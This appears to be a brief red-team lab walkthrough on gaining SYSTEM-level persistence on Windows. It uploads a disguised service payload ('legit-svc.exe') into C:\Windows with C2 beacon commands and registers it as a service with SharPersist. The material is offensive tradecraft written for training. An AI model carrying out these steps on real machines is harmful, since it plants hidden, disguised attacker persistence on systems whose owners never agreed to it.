In the privouse Host Persistence we have done it in the user context now since we are now elevated we should achive it aain but in system context.
first let’s create a TCP Beacon.

Now let’s create a Service Payload.

Now let’s save it.

Now let’s go to windows folder (in the elevated session)
cd c:\\windows

now let’s upload the service to it.
upload c:\\payloads\\legit-svc.exe

Now let’s use SharPersist to make a persistance
execute-assembly C:\\Tools\\SharPersist\\SharPersist\\bin\\Release\\SharPersist.exe -t service -c "C:\\Windows\\legit-svc.exe" -n "legit-svc" -m add

Now let’s check the Beacon
run netstat -anp tcp